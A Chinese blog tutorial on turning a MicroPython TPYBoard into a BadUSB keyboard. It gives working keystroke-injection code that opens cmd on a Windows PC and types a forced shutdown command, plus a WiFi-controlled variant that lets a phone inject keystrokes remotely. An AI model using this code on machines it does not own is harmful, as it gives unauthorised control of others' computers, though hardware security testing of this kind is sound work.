stm32 micropython usb wifi_【micropython】用python来进行BadUSB的USB-HID测试(含无线控制)...-程序员宅基地

技术标签: stm32 micropython usb wifi  

本文以TPYBoardv101开发板为例讲解了利用micropython进行BadUSB的usb-HID设备测试的主要方法,使用mt7681模块进行了一个简单的实验,实现了手机摇控键盘输入的测试。

0x01引言

Micropython即运行在微控制器上的Python,只要你懂python3.x,就可以让你像使用arduino那样进行硬件开发。随着micropython的发布,已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究,发现利用python进行操作确实很方便,很简单。目前支持micropython的开发板有很多,如pyboard、pyMagic、TPYBoard等。

  Pyboard

  Pymagic

TPYBoard

最近从网上搞了一块tpyboard V101(官网www.micropython.net.cn)进行了一下研究,特别是对其自身的USB-HID功能进行了测试,令人惊喜的是,你可以在仅懂python的情况下,进行HID攻击的姿态测试。具体TPYBoardv101的使用方法,请参见www.micropython.net.cn。

0x02TPYBoardV101模拟键盘

该板子的使用方法入门,本文中略过,有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2。TPYBoardv101中,在进行键盘模拟时,每次发送了8个字符,只要搞清楚了这8个字符的含义,就能够进行HID模拟了。

键盘发送的8个字符:BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用来实现功能键:

BYTE1 --

|--bit0: Left Control 按下时为1

|--bit1: Left Shift按下时为1

|--bit2: Left Alt按下时为1

|--bit3: Left GUI按下时为1

|--bit4: Right Control按下时为1

|--bit5: Right Shift按下时为1

|--bit6: Right Alt按下时为1

|--bit7: Right GUI按下时为1

BYTE3到BYTE8是具体按键(见0x06附件),如:

按下left shift + a,则发送0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00。

这里以按下left GUI+R来具体讲解实现过程。

第一步:修改boot.py文件,代码如下:

import machine

import pyb

#pyb.main('main.py') # main script to run after this one

#pyb.usb_mode('CDC+MSC') # act as a serial and a storage device

pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard)

第二步,修改main.py文件,代码如下:

# main.py -- put your code here!

hid=pyb.USB_HID()

def release_key_once():

buf = bytearray(8) # report is 8 bytes long

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def press_key_once(key):

buf = bytearray(8) # report is 8 bytes long

buf[2] = key

hid.send(buf) # key released

pyb.delay(10)

def press_2key(key1,key2):

buf = bytearray(8) # report is 8 bytes long

buf[0] = key1

buf[2] = key2

hid.send(buf) # key released

pyb.delay(10)

def release_2key():

buf = bytearray(8) # report is 8 bytes long

buf[0] = 0

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

pyb.delay(1000) #开始加入1秒延时

press_2key(0x08,0x15)#具体键值见附录部分

release_2key()

第三步,安全退出TPYBoardv101,然后按一下RST键,可以看到一秒后“运行”窗口弹出。

0x03简单的HID测试

测试打开“运行”窗口,输入cmd,然后弹出cmd后,输入shutdown -s -t 60 ,即60秒后自动关机。

Main.py的代码如下:

# main.py -- put your code here!

hid=pyb.USB_HID()

def release_key_once():

buf = bytearray(8) # report is 8 bytes long

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def press_key_once(key):

buf = bytearray(8) # report is 8 bytes long

buf[2] = key

hid.send(buf) # key released

pyb.delay(10)

def press_2key(key1,key2):

buf = bytearray(8) # report is 8 bytes long

buf[0] = key1

buf[2] = key2

hid.send(buf) # key released

pyb.delay(10)

def release_2key():

buf = bytearray(8) # report is 8 bytes long

buf[0] = 0

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

pyb.delay(1000) #开始加入1秒延时

press_2key(0x08,0x15)#具体键值见附录部分

release_2key()

pyb.delay(100)

a=[0x06,0x10,0x07,0x28] #cmd+enter

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

#shutdown -s -t 60 + enter

a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

程序运行的效果是:当开发板插入电脑后,会首先弹出“运行”窗口,然后在该窗口里输入cmd,此时弹出cmd,并在其中输入shutdown -s -t 60和回车,然后电脑在1分钟后关机。

0x04 DIY一键关机

TPYBoardv101带着一个usr按键,可以利用这个按键来制作一键关机功能。当板子程序运行后,按下usr按键,产生中断,led3闪一下,进行关机操作。具体代码如下:

# main.py -- put your code here!

import pyb

FLAG=0 #flag标记,当为1时,关机

def release_key_once():

buf = bytearray(8) # report is 8 bytes long

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def press_key_once(key):

buf = bytearray(8) # report is 8 bytes long

buf[2] = key

hid.send(buf) # key released

pyb.delay(10)

def press_2key(key1,key2):

buf = bytearray(8) # report is 8 bytes long

buf[0] = key1

buf[2] = key2

hid.send(buf) # key released

pyb.delay(10)

def release_2key():

buf = bytearray(8) # report is 8 bytes long

buf[0] = 0

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def shutdownpc():

global FLAG

pyb.LED(3).on()

FLAG=1

pyb.delay(300)

pyb.LED(3).off()

hid=pyb.USB_HID()

sw=pyb.Switch()

sw.callback(shutdownpc)

while(1): #led2闪烁表示板子已经正常工作

pyb.LED(2).toggle()

pyb.delay(300)

print(FLAG)

if FLAG==1:

pyb.delay(1000) #开始加入1秒延时

press_2key(0x08,0x15)#具体键值见附录部分

release_2key()

pyb.delay(100)

a=[0x06,0x10,0x07,0x28] #cmd+enter

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

#shutdown -s -t 60 + enter

a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

FLAG=0

视频演示:

0x05用手机摇控键盘输入

这个实验中,我使用了MT7681wifi模块,该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接,接线示意图,见下图。这里用的是TPYBoardv101的UART3,串口波特率115200。具体代码如下:

# main.py -- put your code here!

import pyb

FLAG=0

def release_key_once():

buf = bytearray(8) # report is 8 bytes long

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def press_key_once(key):

buf = bytearray(8) # report is 8 bytes long

buf[2] = key

hid.send(buf) # key released

pyb.delay(10)

def press_2key(key1,key2):

buf = bytearray(8) # report is 8 bytes long

buf[0] = key1

buf[2] = key2

hid.send(buf) # key released

pyb.delay(10)

def release_2key():

buf = bytearray(8) # report is 8 bytes long

buf[0] = 0

buf[2] = 0

hid.send(buf) # key released

pyb.delay(10)

def shutdownpc():

global FLAG

pyb.LED(3).on()

FLAG=1

pyb.delay(1000)

pyb.LED(3).off()

def getchars():

global FLAG

pyb.LED(3).on()

FLAG=2

pyb.delay(1000)

pyb.LED(3).off()

hid=pyb.USB_HID()

sw=pyb.Switch()

sw.callback(shutdownpc)

u1=pyb.UART(3,115200)

u1.init(115200, bits=8, parity=None, stop=1)

u1.write('Hello world!')

buf=''

#print(buf)

while(1): #led2闪烁表示板子已经正常工作

buf=u1.readline()

print(buf)

if buf==b's':

getchars()

pyb.LED(2).toggle()

pyb.delay(1300)

print(FLAG)

if FLAG==1:

pyb.delay(1000) #开始加入1秒延时

press_2key(0x08,0x15)#具体键值见附录部分

release_2key()

pyb.delay(100)

a=[0x06,0x10,0x07,0x28] #cmd+enter

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

#shutdown -s -t 60 + enter

a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

FLAG=0

if FLAG==2:

pyb.delay(1000) #开始加入1秒延时

press_2key(0x08,0x15)#具体键值见附录部分

release_2key()

pyb.delay(100)

a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter

for i in a:

press_key_once(i)

release_key_once()

pyb.delay(1000)

FLAG=0

到这一步,可以看到,手机就像一个摇控键盘一样,可以直接来控制键盘了。只需要在程序中再丰富一下,就可以做个很不错的手机键盘出来。同时,因为可以通过串口返回数据,所以可以在电脑端写个上位机,这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧,就只说到这里了。

视频演示:

0x06附件

micropython的主要键值如下:

#define KEY_NONE 0x00

#define KEY_ERRORROLLOVER 0x01

#define KEY_POSTFAIL 0x02

#define KEY_ERRORUNDEFINED 0x03

#define KEY_A 0x04

#define KEY_B 0x05

#define KEY_C 0x06

#define KEY_D 0x07

#define KEY_E 0x08

#define KEY_F 0x09

#define KEY_G 0x0A

#define KEY_H 0x0B

#define KEY_I 0x0C

#define KEY_J 0x0D

#define KEY_K 0x0E

#define KEY_L 0x0F

#define KEY_M 0x10

#define KEY_N 0x11

#define KEY_O 0x12

#define KEY_P 0x13

#define KEY_Q 0x14

#define KEY_R 0x15

#define KEY_S 0x16

#define KEY_T 0x17

#define KEY_U 0x18

#define KEY_V 0x19

#define KEY_W 0x1A

#define KEY_X 0x1B

#define KEY_Y 0x1C

#define KEY_Z 0x1D

#define KEY_1_EXCLAMATION_MARK 0x1E

#define KEY_2_AT 0x1F

#define KEY_3_NUMBER_SIGN 0x20

#define KEY_4_DOLLAR 0x21

#define KEY_5_PERCENT 0x22

#define KEY_6_CARET 0x23

#define KEY_7_AMPERSAND 0x24

#define KEY_8_ASTERISK 0x25

#define KEY_9_OPARENTHESIS 0x26

#define KEY_0_CPARENTHESIS 0x27

#define KEY_ENTER 0x28

#define KEY_ESCAPE 0x29

#define KEY_BACKSPACE 0x2A

#define KEY_TAB 0x2B

#define KEY_SPACEBAR 0x2C

#define KEY_MINUS_UNDERSCORE 0x2D

#define KEY_EQUAL_PLUS 0x2E

#define KEY_OBRACKET_AND_OBRACE 0x2F

#define KEY_CBRACKET_AND_CBRACE 0x30

#define KEY_BACKSLASH_VERTICAL_BAR 0x31

#define KEY_NONUS_NUMBER_SIGN_TILDE 0x32

#define KEY_SEMICOLON_COLON 0x33

#define KEY_SINGLE_AND_DOUBLE_QUOTE 0x34

#define KEY_GRAVE ACCENT AND TILDE 0x35

#define KEY_COMMA_AND_LESS 0x36

#define KEY_DOT_GREATER 0x37

#define KEY_SLASH_QUESTION 0x38

#define KEY_CAPS LOCK 0x39

#define KEY_F1 0x3A

#define KEY_F2 0x3B

#define KEY_F3 0x3C

#define KEY_F4 0x3D

#define KEY_F5 0x3E

#define KEY_F6 0x3F

#define KEY_F7 0x40

#define KEY_F8 0x41

#define KEY_F9 0x42

#define KEY_F10 0x43

#define KEY_F11 0x44

#define KEY_F12 0x45

#define KEY_PRINTSCREEN 0x46

#define KEY_SCROLL LOCK 0x47

#define KEY_PAUSE 0x48

#define KEY_INSERT 0x49

#define KEY_HOME 0x4A

#define KEY_PAGEUP 0x4B

#define KEY_DELETE 0x4C

#define KEY_END1 0x4D

#define KEY_PAGEDOWN 0x4E

#define KEY_RIGHTARROW 0x4F

#define KEY_LEFTARROW 0x50

#define KEY_DOWNARROW 0x51

#define KEY_UPARROW 0x52

#define KEY_KEYPAD_NUM_LOCK_AND_CLEAR 0x53

#define KEY_KEYPAD_SLASH 0x54

#define KEY_KEYPAD_ASTERIKS 0x55

#define KEY_KEYPAD_MINUS 0x56

#define KEY_KEYPAD_PLUS 0x57

#define KEY_KEYPAD_ENTER 0x58

#define KEY_KEYPAD_1_END 0x59

#define KEY_KEYPAD_2_DOWN_ARROW 0x5A

#define KEY_KEYPAD_3_PAGEDN 0x5B

#define KEY_KEYPAD_4_LEFT_ARROW 0x5C

#define KEY_KEYPAD_5 0x5D

#define KEY_KEYPAD_6_RIGHT_ARROW 0x5E

#define KEY_KEYPAD_7_HOME 0x5F

#define KEY_KEYPAD_8_UP_ARROW 0x60

#define KEY_KEYPAD_9_PAGEUP 0x61

#define KEY_KEYPAD_0_INSERT 0x62

#define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE 0x63

#define KEY_NONUS_BACK_SLASH_VERTICAL_BAR 0x64

#define KEY_APPLICATION 0x65

#define KEY_POWER 0x66

#define KEY_KEYPAD_EQUAL 0x67

#define KEY_F13 0x68

#define KEY_F14 0x69

#define KEY_F15 0x6A

#define KEY_F16 0x6B

#define KEY_F17 0x6C

#define KEY_F18 0x6D

#define KEY_F19 0x6E

#define KEY_F20 0x6F

#define KEY_F21 0x70

#define KEY_F22 0x71

#define KEY_F23 0x72

#define KEY_F24 0x73

#define KEY_EXECUTE 0x74

#define KEY_HELP 0x75

#define KEY_MENU 0x76

#define KEY_SELECT 0x77

#define KEY_STOP 0x78

#define KEY_AGAIN 0x79

#define KEY_UNDO 0x7A

#define KEY_CUT 0x7B

#define KEY_COPY 0x7C

#define KEY_PASTE 0x7D

#define KEY_FIND 0x7E

#define KEY_MUTE 0x7F

#define KEY_VOLUME_UP 0x80

#define KEY_VOLUME_DOWN 0x81

#define KEY_LOCKING_CAPS_LOCK 0x82

#define KEY_LOCKING_NUM_LOCK 0x83

#define KEY_LOCKING_SCROLL_LOCK 0x84

#define KEY_KEYPAD_COMMA 0x85

#define KEY_KEYPAD_EQUAL_SIGN 0x86

#define KEY_INTERNATIONAL1 0x87

#define KEY_INTERNATIONAL2 0x88

#define KEY_INTERNATIONAL3 0x89

#define KEY_INTERNATIONAL4 0x8A

#define KEY_INTERNATIONAL5 0x8B

#define KEY_INTERNATIONAL6 0x8C

#define KEY_INTERNATIONAL7 0x8D

#define KEY_INTERNATIONAL8 0x8E

#define KEY_INTERNATIONAL9 0x8F

#define KEY_LANG1 0x90

#define KEY_LANG2 0x91

#define KEY_LANG3 0x92

#define KEY_LANG4 0x93

#define KEY_LANG5 0x94

#define KEY_LANG6 0x95

#define KEY_LANG7 0x96

#define KEY_LANG8 0x97

#define KEY_LANG9 0x98

#define KEY_ALTERNATE_ERASE 0x99

#define KEY_SYSREQ 0x9A

#define KEY_CANCEL 0x9B

#define KEY_CLEAR 0x9C

#define KEY_PRIOR 0x9D

#define KEY_RETURN 0x9E

#define KEY_SEPARATOR 0x9F

#define KEY_OUT 0xA0

#define KEY_OPER 0xA1

#define KEY_CLEAR_AGAIN 0xA2

#define KEY_CRSEL 0xA3

#define KEY_EXSEL 0xA4

#define KEY_KEYPAD_00 0xB0

#define KEY_KEYPAD_000 0xB1

#define KEY_THOUSANDS_SEPARATOR 0xB2

#define KEY_DECIMAL_SEPARATOR 0xB3

#define KEY_CURRENCY_UNIT 0xB4

#define KEY_CURRENCY_SUB_UNIT 0xB5

#define KEY_KEYPAD_OPARENTHESIS 0xB6

#define KEY_KEYPAD_CPARENTHESIS 0xB7

#define KEY_KEYPAD_OBRACE 0xB8

#define KEY_KEYPAD_CBRACE 0xB9

#define KEY_KEYPAD_TAB 0xBA

#define KEY_KEYPAD_BACKSPACE 0xBB

#define KEY_KEYPAD_A 0xBC

#define KEY_KEYPAD_B 0xBD

#define KEY_KEYPAD_C 0xBE

#define KEY_KEYPAD_D 0xBF

#define KEY_KEYPAD_E 0xC0

#define KEY_KEYPAD_F 0xC1

#define KEY_KEYPAD_XOR 0xC2

#define KEY_KEYPAD_CARET 0xC3

#define KEY_KEYPAD_PERCENT 0xC4

#define KEY_KEYPAD_LESS 0xC5

#define KEY_KEYPAD_GREATER 0xC6

#define KEY_KEYPAD_AMPERSAND 0xC7

#define KEY_KEYPAD_LOGICAL_AND 0xC8

#define KEY_KEYPAD_VERTICAL_BAR 0xC9

#define KEY_KEYPAD_LOGIACL_OR 0xCA

#define KEY_KEYPAD_COLON 0xCB

#define KEY_KEYPAD_NUMBER_SIGN 0xCC

#define KEY_KEYPAD_SPACE 0xCD

#define KEY_KEYPAD_AT 0xCE

#define KEY_KEYPAD_EXCLAMATION_MARK 0xCF

#define KEY_KEYPAD_MEMORY_STORE 0xD0

#define KEY_KEYPAD_MEMORY_RECALL 0xD1

#define KEY_KEYPAD_MEMORY_CLEAR 0xD2

#define KEY_KEYPAD_MEMORY_ADD 0xD3

#define KEY_KEYPAD_MEMORY_SUBTRACT 0xD4

#define KEY_KEYPAD_MEMORY_MULTIPLY 0xD5

#define KEY_KEYPAD_MEMORY_DIVIDE 0xD6

#define KEY_KEYPAD_PLUSMINUS 0xD7

#define KEY_KEYPAD_CLEAR 0xD8

#define KEY_KEYPAD_CLEAR_ENTRY 0xD9

#define KEY_KEYPAD_BINARY 0xDA

#define KEY_KEYPAD_OCTAL 0xDB

#define KEY_KEYPAD_DECIMAL 0xDC

#define KEY_KEYPAD_HEXADECIMAL 0xDD

#define KEY_LEFTCONTROL 0xE0

#define KEY_LEFTSHIFT 0xE1

#define KEY_LEFTALT 0xE2

#define KEY_LEFT_GUI 0xE3

#define KEY_RIGHTCONTROL 0xE4

#define KEY_RIGHTSHIFT 0xE5

#define KEY_RIGHTALT 0xE6

#define KEY_RIGHT_GUI 0xE7

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39690958/article/details/110569557

智能推荐

使用nginx解决浏览器跨域问题_nginx不停的xhr-程序员宅基地

文章浏览阅读1k次。通过使用ajax方法跨域请求是浏览器所不允许的,浏览器出于安全考虑是禁止的。警告信息如下:不过jQuery对跨域问题也有解决方案,使用jsonp的方式解决,方法如下:$.ajax({ async:false, url: 'http://www.mysite.com/demo.do', // 跨域URL ty..._nginx不停的xhr

在 Oracle 中配置 extproc 以访问 ST_Geometry-程序员宅基地

文章浏览阅读2k次。关于在 Oracle 中配置 extproc 以访问 ST_Geometry,也就是我们所说的 使用空间SQL 的方法,官方文档链接如下。http://desktop.arcgis.com/zh-cn/arcmap/latest/manage-data/gdbs-in-oracle/configure-oracle-extproc.htm其实简单总结一下,主要就分为以下几个步骤。..._extproc

Linux C++ gbk转为utf-8_linux c++ gbk->utf8-程序员宅基地

文章浏览阅读1.5w次。linux下没有上面的两个函数,需要使用函数 mbstowcs和wcstombsmbstowcs将多字节编码转换为宽字节编码wcstombs将宽字节编码转换为多字节编码这两个函数,转换过程中受到系统编码类型的影响,需要通过设置来设定转换前和转换后的编码类型。通过函数setlocale进行系统编码的设置。linux下输入命名locale -a查看系统支持的编码_linux c++ gbk->utf8

IMP-00009: 导出文件异常结束-程序员宅基地

文章浏览阅读750次。今天准备从生产库向测试库进行数据导入,结果在imp导入的时候遇到“ IMP-00009:导出文件异常结束” 错误,google一下,发现可能有如下原因导致imp的数据太大,没有写buffer和commit两个数据库字符集不同从低版本exp的dmp文件,向高版本imp导出的dmp文件出错传输dmp文件时,文件损坏解决办法:imp时指定..._imp-00009导出文件异常结束

python程序员需要深入掌握的技能_Python用数据说明程序员需要掌握的技能-程序员宅基地

文章浏览阅读143次。当下是一个大数据的时代,各个行业都离不开数据的支持。因此,网络爬虫就应运而生。网络爬虫当下最为火热的是Python,Python开发爬虫相对简单,而且功能库相当完善,力压众多开发语言。本次教程我们爬取前程无忧的招聘信息来分析Python程序员需要掌握那些编程技术。首先在谷歌浏览器打开前程无忧的首页,按F12打开浏览器的开发者工具。浏览器开发者工具是用于捕捉网站的请求信息,通过分析请求信息可以了解请..._初级python程序员能力要求

Spring @Service生成bean名称的规则(当类的名字是以两个或以上的大写字母开头的话,bean的名字会与类名保持一致)_@service beanname-程序员宅基地

文章浏览阅读7.6k次,点赞2次,收藏6次。@Service标注的bean,类名:ABDemoService查看源码后发现,原来是经过一个特殊处理:当类的名字是以两个或以上的大写字母开头的话,bean的名字会与类名保持一致public class AnnotationBeanNameGenerator implements BeanNameGenerator { private static final String C..._@service beanname

随便推点

二叉树的各种创建方法_二叉树的建立-程序员宅基地

文章浏览阅读6.9w次,点赞73次,收藏463次。1.前序创建#include<stdio.h>#include<string.h>#include<stdlib.h>#include<malloc.h>#include<iostream>#include<stack>#include<queue>using namespace std;typed_二叉树的建立

解决asp.net导出excel时中文文件名乱码_asp.net utf8 导出中文字符乱码-程序员宅基地

文章浏览阅读7.1k次。在Asp.net上使用Excel导出功能,如果文件名出现中文,便会以乱码视之。 解决方法: fileName = HttpUtility.UrlEncode(fileName, System.Text.Encoding.UTF8);_asp.net utf8 导出中文字符乱码

笔记-编译原理-实验一-词法分析器设计_对pl/0作以下修改扩充。增加单词-程序员宅基地

文章浏览阅读2.1k次,点赞4次,收藏23次。第一次实验 词法分析实验报告设计思想词法分析的主要任务是根据文法的词汇表以及对应约定的编码进行一定的识别,找出文件中所有的合法的单词,并给出一定的信息作为最后的结果,用于后续语法分析程序的使用;本实验针对 PL/0 语言 的文法、词汇表编写一个词法分析程序,对于每个单词根据词汇表输出: (单词种类, 单词的值) 二元对。词汇表:种别编码单词符号助记符0beginb..._对pl/0作以下修改扩充。增加单词

android adb shell 权限,android adb shell权限被拒绝-程序员宅基地

文章浏览阅读773次。我在使用adb.exe时遇到了麻烦.我想使用与bash相同的adb.exe shell提示符,所以我决定更改默认的bash二进制文件(当然二进制文件是交叉编译的,一切都很完美)更改bash二进制文件遵循以下顺序> adb remount> adb push bash / system / bin /> adb shell> cd / system / bin> chm..._adb shell mv 权限

投影仪-相机标定_相机-投影仪标定-程序员宅基地

文章浏览阅读6.8k次,点赞12次,收藏125次。1. 单目相机标定引言相机标定已经研究多年,标定的算法可以分为基于摄影测量的标定和自标定。其中,应用最为广泛的还是张正友标定法。这是一种简单灵活、高鲁棒性、低成本的相机标定算法。仅需要一台相机和一块平面标定板构建相机标定系统,在标定过程中,相机拍摄多个角度下(至少两个角度,推荐10~20个角度)的标定板图像(相机和标定板都可以移动),即可对相机的内外参数进行标定。下面介绍张氏标定法(以下也这么称呼)的原理。原理相机模型和单应矩阵相机标定,就是对相机的内外参数进行计算的过程,从而得到物体到图像的投影_相机-投影仪标定

Wayland架构、渲染、硬件支持-程序员宅基地

文章浏览阅读2.2k次。文章目录Wayland 架构Wayland 渲染Wayland的 硬件支持简 述: 翻译一篇关于和 wayland 有关的技术文章, 其英文标题为Wayland Architecture .Wayland 架构若是想要更好的理解 Wayland 架构及其与 X (X11 or X Window System) 结构;一种很好的方法是将事件从输入设备就开始跟踪, 查看期间所有的屏幕上出现的变化。这就是我们现在对 X 的理解。 内核是从一个输入设备中获取一个事件,并通过 evdev 输入_wayland

推荐文章

热门文章

相关标签